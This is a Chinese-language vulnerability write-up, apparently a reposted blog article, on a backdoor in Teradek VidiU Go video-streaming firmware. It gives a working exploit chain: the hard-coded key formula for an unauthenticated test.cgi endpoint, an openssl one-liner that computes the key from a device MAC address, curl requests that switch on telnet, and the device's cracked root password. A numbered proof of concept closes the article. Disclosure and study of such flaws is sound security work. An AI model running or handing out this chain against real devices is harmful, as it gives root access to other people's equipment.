Teradek IP视频设备固件中的远程代码执行

2021-09-07 18:10:13 浏览数 (3)

基本介绍

https://teradek.com/collections/vidiu-go-family

Teradek IP视频设备是现场流媒体设备,能够将视频输入(如SDI、HDMI等)编码为各种流媒体格式,能够进行以太网传输。

测试说明

该设备有一个以太网接口,有一个Web管理界面,默认情况下可在http://ip上访问。

Web管理界面受用户定义的密码保护。

  • 下载官方固件

https://teradek.com/pages/downloads

VidiU Go设备的固件是建立在ARM64 Linux内核上

  • 解压固件

https://github.com/plougher/squashfs-tools

  • 其他说明

1.内置了Lighttpd Web服务器

2.根路径是在/home/www

3./home/www/cgi-bin包含.cgi二进制文件

在/usr/lib文件夹中也有重要的依赖项(如.so库)

4.重点关注/home/www/cgi-bin/test.cgi中的后门访问功能

  • 使用ghidra逆向函数

https://github.com/NationalSecurityAgency/ghidra/

1.无需认证即可访问http://ip/cgi-bin/test.cgi

2.用GET参数command=remote-access test.cgi调用/usr/share/system/remote-access.sh

3.脚本/usr/share/system/remote-access.sh可以启动/停止telnetd

任何人都可以通过网络访问设备上的23/tcp端口。

4.为了使用command=remote-access应该提供一个合适的密钥参数,与td_license_create("tdtest", 0, 0)相比较。

  • 反转加密函数显示密钥计算如下:
代码语言:javascript复制
td_license_create(“tdtest”, 0, 0) = SHA1(SHA512(“0x5f3759df<MAC_ADDRESS_OF_DEVICE>tdtest”))

这意味着密钥计算所需的一切都硬编码在通用固件中,只有MAC地址部分取决于设备。 

由于同一LAN中的人很容易知道MAC地址,因此可以计算出打开telnet接口的密钥。

  • 启用Telnet接口

密钥可以用OpenSSL命令来计算(以MAC地址DE:AD:BE:EF:00:00为例)

代码语言:javascript复制
echo -n 0x5f3759dfDE:AD:BE:EF:00:00tdtest | openssl dgst -sha512 -binary — | openssl dgst -sha1 — | cut -d’ ‘ -f2

结果是:2f1a4cf8d815c99f70268c0873c9dffb13015052

现在可以使用以下GET请求启用telnet接口(假设设备IP为192.168.0.10):

代码语言:javascript复制
curl 'http://192.168.0.10/cgi-bin/test.cgi?key=2f1a4cf8d815c99f70268c0873c9dffb13015052&command=remote-access&enable=1'

HTTP响应是500(如果密钥错误则为404),但Telnet接口已启用。如果要禁用,只需使用enable=0

代码语言:javascript复制
curl 'http://192.168.0.10/cgi-bin/test.cgi?key=2f1a4cf8d815c99f70268c0873c9dffb13015052&command=remote-access&enable=0'
  • 凭证信息

根凭据。现在Telnet已启用,连接时会给出登录提示。有关凭据,可在固件映像中查找/etc/shadow

代码语言:javascript复制
root:HjMedVB3oPf0o:11851:0:99999:7:::

这是一个传统的弱Unix crypt()DES哈希值,在很短的时间内(3天)可以100%破解。

此外,在破解之后,密码被证明是非常弱的

破解后的root权限凭证

代码语言:javascript复制
root:upsetdac

POC

1.枚举MAC地址(DE:AD:BE:EF:00:00)

2.计算密钥:echo -n 0x5f3759dfDE:AD:BE:EF:00:00tdtest | openssl dgst -sha512 -binary - | openssl dgst -sha1 - | cut -d' ' -f2 结果是2f1a4cf8d815c99f70268c0873c9dffb13015052

3.启动Telnetcurl ‘http://192.168.0.10/cgi-bin/test.cgi?key=2f1a4cf8d815c99f70268c0873c9dffb13015052&command=remote-access&enable=1'4.登录Telnet:192.168.0.10,用户为root,密码为upsetdac

0 人点赞